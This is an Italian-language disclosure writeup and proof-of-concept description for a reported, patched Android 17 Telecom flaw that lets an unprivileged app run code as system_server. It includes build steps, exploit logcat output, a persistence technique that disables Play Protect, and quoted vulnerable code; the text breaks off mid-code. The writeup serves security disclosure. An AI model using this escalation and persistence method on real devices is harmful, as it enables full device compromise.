
CVE-2026-49881, using insecure context creation in Android 17's Telecom service to execute arbitrary code as UID 1000 system_server from an unprivileged app
Questo è un PoC e un writeup per CVE-2026-49881, un problema logico nella classe InCallController del servizio Telecom di Android 17 che consente a un'app senza privilegi di ottenere l'esecuzione arbitraria di codice come UID 1000 system_server senza alcuna interazione aggiuntiva da parte dell'utente. Mostriamo anche qui che l'esecuzione di codice in system_server può essere ancora facilmente adattata per ottenere la persistenza, anche nelle versioni moderne di Android.
Ho segnalato questa vulnerabilità all'Android Security Team il 2026-04-10, è stata confermata il 2026-05-06 ed è stata corretta nel bollettino sulla sicurezza Android di settembre 2026. (vedi qui per la patch)
Al momento della segnalazione, per quanto ne so, colpiva attivamente solo le build Pixel successive e successive ad Android 16 QPR3 (insieme alle build Beta 17), ma in seguito è arrivata alla release stabile AOSP di Android 17.
Per proteggerti da questo problema, assicurati di installare l'aggiornamento di sistema Google Play e la patch di sicurezza di sistema. (Telecom è un componente mainline da Android 17)
system_server utilizzando la vulnerabilità, registra id e stack trace su logcat e si re-installa come componente di system_server.build.sh incluso. In alternativa, puoi eseguire manualmente ./gradlew assembleSystemRelease, spostare l'app-system-release.apk risultante in app/src/poc/assets/system.apk, quindi eseguire ./gradlew assemblePocRelease.system_server disattiva anche forzatamente Play Protect impostando package_verifier_user_consent su -1 in Settings.Global perché a volte può intercettare la transazione di re-installazione a causa di firme sconosciute. Dovresti riattivarlo in Impostazioni dopo il test.system_server potrebbe richiedere una personalizzazione per ogni OEM perché si basa sull'attraversamento della struttura PMS utilizzando simboli che gli OEM a volte cambiano.L'output logcat previsto del PoC è:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
Questa è una vulnerabilità insolitamente diretta. Ogni volta che si verificano determinate azioni relative a Telecom, InCallController tenta di scoprire i servizi disponibili tramite getInCallServiceComponents. Questo si attiva naturalmente quando una chiamata viene registrata con il sistema, ma un'app può effettivamente attivarlo anche su richiesta grazie all'API di chiamate transazionali TelecomManager.addCall. (nota: questo è ciò che usa il pulsante Start Exploit nel PoC) Questa API richiede MANAGE_OWN_CALLS, ma è un'autorizzazione normale e invisibile all'utente concessa automaticamente al momento dell'installazione.
Questa enumerazione è implementata nelle versioni vulnerabili in questo modo:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;